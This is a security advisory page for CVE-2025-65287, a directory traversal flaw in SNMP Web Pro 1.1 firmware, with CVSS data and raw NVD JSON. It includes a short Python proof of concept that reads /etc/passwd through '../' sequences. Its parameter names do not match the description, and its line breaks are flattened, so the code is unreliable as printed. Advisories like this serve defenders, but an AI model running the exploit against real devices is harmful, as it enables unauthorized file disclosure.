Security Vulnerability Report
中文
CVE-2025-65287 CVSS 4.3 MEDIUM

CVE-2025-65287

Published: 2025-12-09 16:18:18
Last Modified: 2025-12-15 20:15:52

Description

An unauthenticated directory traversal vulnerability in cgi-bin/upload.cgi in SNMP Web Pro 1.1 allows a remote attacker to read arbitrary files. The CGI concatenates the user-supplied params directly onto the base path (/var/www/files/userScript/) using memcpy + strcat without validation or canonicalization, enabling ../ sequences to escape the intended directory. The download branch also echoes the unsanitized params into Content-Disposition, introducing header-injection risk.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:cdpenergy:snmp_web_pro_firmware:1.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:cdpenergy:snmp_web_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
SNMP Web Pro 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-65287 PoC - Directory Traversal in SNMP Web Pro 1.1 # Target: cgi-bin/upload.cgi # Vulnerability: Unauthenticated directory traversal via unsanitized params target_url = "http://target.com/cgi-bin/upload.cgi" # Read arbitrary file via directory traversal def read_file(filepath): """Exploit directory traversal to read arbitrary files""" params = { 'action': 'download', 'file': f'../../../../{filepath}' } response = requests.get(target_url, params=params) return response.text # Example: Read /etc/passwd if __name__ == "__main__": # Test with /etc/passwd result = read_file('etc/passwd') print(result)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65287", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:17.633", "lastModified": "2025-12-15T20:15:51.767", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated directory traversal vulnerability in cgi-bin/upload.cgi in SNMP Web Pro 1.1 allows a remote attacker to read arbitrary files. The CGI concatenates the user-supplied params directly onto the base path (/var/www/files/userScript/) using memcpy + strcat without validation or canonicalization, enabling ../ sequences to escape the intended directory. The download branch also echoes the unsanitized params into Content-Disposition, introducing header-injection risk."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:cdpenergy:snmp_web_pro_firmware:1.1:*:*:*:*:*:*:*", "matchCriteriaId": "55A548E2-37F1-4045-B50C-ABDB47714144"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:cdpenergy:snmp_web_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "ED1835F5-1DD6-4EFB-9148-01CCFFD6456C"}]}]}], "references": [{"url": "https://damiri.fr/en/cve/CVE-2025-65287", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}